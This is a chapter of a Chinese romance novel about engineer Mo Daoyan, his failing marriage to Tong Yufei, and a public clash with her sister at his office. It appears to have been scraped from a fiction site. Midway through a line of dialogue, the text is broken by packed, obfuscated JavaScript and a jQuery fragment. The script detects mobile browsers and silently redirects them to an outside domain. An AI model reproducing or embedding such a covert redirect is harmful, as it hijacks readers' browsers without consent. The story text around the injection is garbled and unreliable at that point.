这些天莫道言每晚都要工作到十一点,有时直至凌晨,温区设计图刚完工,又进行温度调节模块的代码,周定和担心他这样下去会拖垮身体,强行关掉他的电脑,逼他回去休息,称冰箱设计再重要,也犯不着把命搭上。
周师兄只勒令他休息,却未传授安眠良方,更不知失眠这个他从未体会过的麻烦,汹涌地缠了上来,超过了当年疯狂生长的荷尔蒙,他用下棋抵抗无效后,乔卓成建议他浅酌怡情,但他不似乔卓成,常年以酒为伴,已深谙此道,可以收放自如,他某次尝试后,次日的工作全然荒废,除了用工作填补时间,并没有其他更好的方式。
最近倒是尝试效仿佟语非抄写诗歌,莎翁说一千个读者就有一千个哈姆雷特,他觉得这话放在诗歌上更为贴切,除却直白的写景抒情,大多诗句都是作者心绪的投射,外人难以揣摩。他向来不关心他人心境,读书时强求理解,是为应试得分,当下没有答题要求,便不求甚解了。
就如抄写佟语非钟爱的伊蕾诗作,这位前卫女诗人的代表作《独身女人的卧室》由十四首短诗组成,佟语非抄过《自画像》,他抄的是那首《窗帘的秘密》,诗里写“拉上窗帘听一段交响曲/爱情就充满各个角落/你不来与我同居。”
每首短诗,都以最后一句“你不来与我同居”作结,也是他的哈姆雷特。
伊蕾因其独特诗风和大胆表达备受争议,有评论家说她的诗是对婚姻压迫的反抗,对男权中心的颠覆,莫道言偏好这首诗,与宏大的解读无关,也非因诗句多么精妙,而是每当读到它,会不自觉地转头去看自家的窗帘,并想起佟语非。
在宏盛小区居住时,家里用的是黑色窗帘,隔光隔音效果极佳,他厌恶分心,即便是对待床笫之欢,虽然习惯开灯,却容不得半点自然光的干扰,有时连透来的月色都嫌多余。当黑窗帘将外界的光照隔绝,才能心神专注地体会那些时刻的紧密结合,去观察她眉梢的颤动,呼吸的起伏,将积压的冗杂的情绪释放,以便第二日轻装上阵,继续投入工作与生活。
佟语非曾想换成柳黄色窗帘,说既能遮光又可舒缓心情,黑色太沉了,沾了灰也看不出来,不便清理,他正忙着查阅资料,不以为意地回了句“心静自然凉”,她便再没提起更换窗帘的事。
在这个所谓的家,连窗帘的颜色都做不了主,她自然不愿与他同居,他搬到红旗小区的第一天,把所有窗帘都换成了柳黄色,想象她推门时会露出怎么样的神情,总该有些喜色吧?只是她至今,从未踏足过他为她准备的房间。
离赴德的日子越来越近,复合的希望依旧渺茫,他一度考虑干脆遂了她的愿,签下协议书,陪她去街道和民政局,此前缺席五年,再缺两年,平白耗去一个女人七载光阴,理由或许能换来办事员一丝恻隐,当场就给他们办了离婚也说不定。
念头刚起,他立即悔悟,婚姻的白旗,断不能由他亲手举起。
周四上午的会议间,他接到了派出所的电话,负责办案的民警公事公办地通报,他的“姐姐姐夫”倒卖旧电子元件时,以次充好被控投机倒把罪,这是个正被时代淘汰的罪名,在市场开放的今天,个体经营早已合法化,曾经的“倒爷们”逐渐风流云散,除非涉案金额巨大或性质恶劣,否则很少有人还会栽在这条旧法上。
其实这事本不该找他,佟万和赵伟民两夫妻的生意是莫长林一手扶持的,就算要善后也该找莫长林,莫长林常年在这条产业链上工作,大小场面见过无数,处理起来得心应手,或是与两人更亲近的佟语非,但莫道言几乎没有犹豫,会议一结束就驱车直奔派出所。
在一间昏暗的房间内,他见到了受审后的佟万和赵伟民,两人向他解释了事情原委,竞争对手在他们的货源里掺了残次品,故意引发客户投诉。若是往常,只要货都来自红联机械厂还好查证,但生意做大后,为多赚些利润,他们偶尔也会从其他渠道“低价”进货,分批次转卖,这下反倒有口难辩了。
莫道言懒得听这些弯弯绕,交了一千五百元罚款,把人领了出来,佟万搓着冻红的手,向莫道言连连道谢,说原本想找佟语非的,但赵伟民提醒她佟语非是国企记者,这种事不便出面,只好麻烦莫道言了,年头他帮弟弟,年尾又帮他们,真不知该怎么谢他。
“我是我,她是她,以后和她有关的替人擦屁股破事,别来找我。”
莫道言完全没有沾亲带故的客套,一脸的不耐,怨了一句,转身走了,留下夫妻二人面面相觑。
佟万原本满心感激,可莫道言的轻蔑言语让她如鲠在喉,以莫家的家底和莫道言平日的做派,断不会心疼这一千五百块钱,虽然对普通人家来说确实是一笔巨款,但他们也没说不还啊,除非这怨气是冲着佟语非去的。常言道,打狗看主人,话糙理不糙,但凡他对妹妹还有些尊重,都不会对她的娘家人避如瘟疫。
想起上次莫道言请客时殷勤备至的模样,再看看如今这副翻脸比翻书还快的态度,佟万心里顿时凉了半截,妹妹和莫道言之间肯定出问题了,而且问题不小。她抬脚就要追上去:“他能这么说话,是连最基本的面子都不顾了,还不知道在家里是怎么欺负我妹妹呢!我去问个明白!”
赵伟民一把拽住老婆:“你问,他就肯说?万一是小两口闹别扭,转头又和好了,你跟着瞎掺和,岂不是猪八戒照镜子里外不是人?得先弄清楚怎么回事才好对症下药。”
佟万静下心思考,觉得丈夫言之有理,妹妹和妹夫都是藏而不露的性子,尤其妹妹与家里素有嫌隙,直接询问必定无功而返,想要探知他们夫妻实情,只能从旁入手。次日一早,她来到宏盛小区,本想向邻里打听小两口是否起过争执,却惊闻佟语非早已搬离爱巢,妹夫也在不久前卖了房子,去向成谜。
这个发现让佟万彻底炸了锅,当即冲到新立公司,在门口拦住莫道言,劈头便问:“你把我妹妹赶去哪儿了,这日子还过不过了,到底几个意思?”
莫道言爱答不理,被问烦了,才回道:“我们没有感情,正在协议离婚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307897|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提前分居而已,你想知道她的去向,去报社直接找她问不是更好?”
“说什么屁话呢?你结婚时难道不知和她感情尚浅?回来才多久,割韭菜都没这么急的,你这是离婚呢,还是负心薄幸抛弃糟糠之妻?”
“我在国外勤工俭学时,她在莫家吃得饱穿得暖,算什么糟糠之妻?”莫道言将歪了的领带收进西装内,语气不急不缓,“她当初什么条件嫁进来的,你们家当真心里没数?是,她是有模有样,但除此之外,与我家那株香樟树也无甚区别,能与我成婚,不过是趁我年少无知。”
这番轻贱羞辱像一盆冰水浇在佟万头上,他竟将妹妹比作草木,嘲讽妹妹没情趣,更可笑的是他长妹妹两岁,倒成了“年少无知”,妹妹反倒成了心机深沉?往昔因莫道言相助积攒的那点感激瞬间粉碎,不是他走得快,她定要抓花那张傲慢的脸。
等回过神来,佟万又杀到办公区,看到莫道言和几位时髦女同事谈笑风生,更坐实了他朝秦暮楚的恶行,冲上前高声嚷道:“大家都来看看这个人面兽心的伪君子,我妹妹嫁给他六年,守了五年活寡!他一回来就翻脸不认人,婚还没离就把老婆赶出家门,怎么配做领导的?”
佟万的怒骂声震彻了整个办公区,大丁见围观者渐众,上前劝佟万息怒,二人向来恩爱,其中恐有误会,被盛怒的佟万掴了一耳光,说他皇上不急太监急,莫道言拨开人群,冷着脸命佟万离开,言语间仍是孤高自傲的姿态,并暗讽佟家家教有亏,火上浇油的言行让佟万怒不可遏,抄起一只水杯便砸了过去,莫道言不闪不避,额角顿时青紫一片。
在众人的惊呼声中,有人报了警,佟万再次被送进了派出所。
夫妻争执本是寻常事,但当妻姐闹到公司甚至惊动民警,已然越界,特别是看着妻姐被民警带走时,莫道言那令人心寒的沉默,更将事态的严重性拔高了几分。
周定和从冰库取来冰块,递给莫道言敷脸,原本对其离婚一事半信半疑,此刻不得不正视这个可能:“千金易得,知音难求,婚姻这等大事还需三思,和佟小姐好好谈谈,别做将来会后悔的决定。”
莫道言没有接冰,向后靠进椅背,神色淡然道:“是该谈谈的。”
今晚气温达到了入冬来的最低,月亮和星星都躲进了云被里避寒,莫道言在厂区门口点了一支烟,抽完才开车回家,一个多小时后,沉重的脚步声在楼道激起阵阵回响。
在四楼的家门口,他果然看见了那个熟悉的身影。
佟语非倚墙而立,背包带勒进了肩头,听到他的脚步声,她快步上前,却因久站腿麻,一个踉跄险些摔倒,扶着墙壁勉强站稳,原本单薄的身形又消瘦了几分,最明显的是两颊,凹陷得能显出颧骨轮廓,下巴尖了,衬得那双本不算特别大的眼睛稍有突兀。
莫道言心头微涩,拧开门锁侧身让出一条道,想让她进来说,却发现她仍定在原地,他独自进了门,在沙发坐下后,指着左额伤口道:“新鲜出炉的,不过来帮我消个肿?”